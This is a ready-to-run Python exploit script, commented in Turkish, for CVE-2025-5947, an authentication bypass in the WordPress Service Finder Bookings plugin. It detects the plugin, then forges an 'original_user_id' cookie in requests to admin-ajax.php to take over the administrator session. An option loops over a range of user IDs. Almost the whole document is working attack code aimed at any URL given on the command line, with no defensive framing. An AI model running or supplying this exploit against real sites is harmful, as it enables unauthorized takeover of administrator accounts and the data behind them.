WordPress Service Finder Bookings ≤ 6.0 Authentication Bypass via `original_user_id` Cookie (CVE-2025-5947)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176

import requests
import sys
import argparse
from urllib.parse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# SSL uyarılarını kapat
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class CVE20255947Exploit:
    def __init__(self, target_url, timeout=10, verify_ssl=False):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.verify_ssl = verify_ssl
        self.session = requests.Session()
        self.session.verify = verify_ssl
    
    def check_vulnerability(self):
        """Hedefi CVE-2025-5947 için kontrol et"""
        try:
            # WordPress kontrolü
            wp_check = self.session.get(
                urljoin(self.target_url, '/wp-admin/'),
                timeout=self.timeout,
                allow_redirects=False
            )
            
            if wp_check.status_code not in [200, 302, 301]:
                print("❌ WordPress kurulumu bulunamadı")
                return False
            
            # Plugin kontrolü
            plugin_check = self.session.get(
                urljoin(self.target_url, '/wp-content/plugins/sf-booking/'),
                timeout=self.timeout
            )
            
            if plugin_check.status_code == 200:
                print("✅ Service Finder Bookings eklentisi bulundu")
                return True
            else:
                print("⚠️ Eklenti bulunamadı, yine de deneyebiliriz...")
                return True
                
        except Exception as e:
            print(f"❌ Kontrol hatası: {e}")
            return False
    
    def exploit(self, user_id=1):
        """CVE-2025-5947 exploit'ini çalıştır"""
        try:
            print(f"\n🔍 Kullanıcı ID {user_id} ile giriş denemesi yapılıyor...")
            
            # Exploit payload
            cookies = {
                'original_user_id': str(user_id)
            }
            
            # AJAX isteği gönder
            response = self.session.get(
                urljoin(self.target_url, '/wp-admin/admin-ajax.php'),
                params={'action': 'service_finder_switch_back'},
                cookies=cookies,
                timeout=self.timeout,
                allow_redirects=False
            )
            
            print(f"📊 HTTP Status: {response.status_code}")
            print(f"📋 Response Headers:")
            for key, value in response.headers.items():
                if key.lower() in ['location', 'set-cookie', 'content-type']:
                    print(f"   {key}: {value[:100]}")
            
            # Başarı kontrolleri
            success_indicators = [
                response.status_code in [301, 302],
                'Location' in response.headers and '/wp-admin/' in response.headers.get('Location', ''),
                'Set-Cookie' in response.headers and 'wordpress_logged_in_' in response.headers.get('Set-Cookie', '')
            ]
            
            if all(success_indicators):
                print(f"\n✅ BAŞARILI! Admin olarak giriş yapıldı!")
                print(f"📍 Yönlendirme: {response.headers.get('Location')}")
                return True
            elif any(success_indicators):
                print(f"\n⚠️ Kısmi başarı - Sistem yanıt verdi")
                return True
            else:
                print(f"\n❌ Exploit başarısız")
                return False
                
        except Exception as e:
            print(f"❌ Exploit hatası: {e}")
            return False
    
    def brute_force_users(self, user_ids=None):
        """Birden fazla kullanıcı ID'si dene"""
        if user_ids is None:
            user_ids = range(1, 11)  # 1-10 arası dene
        
        print(f"\n🔄 Brute Force Başlıyor ({len(list(user_ids))} kullanıcı)...")
        
        successful_users = []
        for user_id in user_ids:
            try:
                cookies = {'original_user_id': str(user_id)}
                response = self.session.get(
                    urljoin(self.target_url, '/wp-admin/admin-ajax.php'),
                    params={'action': 'service_finder_switch_back'},
                    cookies=cookies,
                    timeout=self.timeout,
                    allow_redirects=False
                )
                
                if response.status_code in [301, 302]:
                    print(f"✅ Kullanıcı ID {user_id}: BAŞARILI")
                    successful_users.append(user_id)
                else:
                    print(f"❌ Kullanıcı ID {user_id}: Başarısız")
            except Exception as e:
                print(f"⚠️ Kullanıcı ID {user_id}: Hata - {e}")
        
        return successful_users

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-5947 Service Finder Bookings Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Örnekler:
  python exploit.py -u http://target.com
  python exploit.py -u http://target.com -i 1
  python exploit.py -u http://target.com -b 1-10
  python exploit.py -u http://target.com --no-ssl-verify
        '''
    )
    
    parser.add_argument('-u', '--url', required=True, help='Hedef URL (örn: http://target.com)')
    parser.add_argument('-i', '--user-id', type=int, default=1, help='Kullanıcı ID (varsayılan: 1)')
    parser.add_argument('-b', '--brute-force', help='Brute force aralığı (örn: 1-10)')
    parser.add_argument('--no-ssl-verify', action='store_true', help='SSL doğrulamasını devre dışı bırak')
    parser.add_argument('-t', '--timeout', type=int, default=10, help='Timeout (varsayılan: 10s)')
    
    args = parser.parse_args()
    
    print("=" * 60)
    print("CVE-2025-5947 Service Finder Bookings Exploit")
    print("Authentication Bypass via Cookie Spoofing")
    print("=" * 60)
    
    # Exploit nesnesini oluştur
    exploit = CVE20255947Exploit(
        args.url,
        timeout=args.timeout,
        verify_ssl=not args.no_ssl_verify
    )
    
    # Hedefi kontrol et
    if not exploit.check_vulnerability():
        sys.exit(1)
    
    # Brute force veya tek kullanıcı
    if args.brute_force:
        try:
            start, end = map(int, args.brute_force.split('-'))
            successful = exploit.brute_force_users(range(start, end + 1))
            if successful:
                print(f"\n✅ Başarılı Kullanıcılar: {successful}")
        except ValueError:
            print("❌ Brute force formatı yanlış (örn: 1-10)")
            sys.exit(1)
    else:
        exploit.exploit(args.user_id)

if __name__ == '__main__':
    main()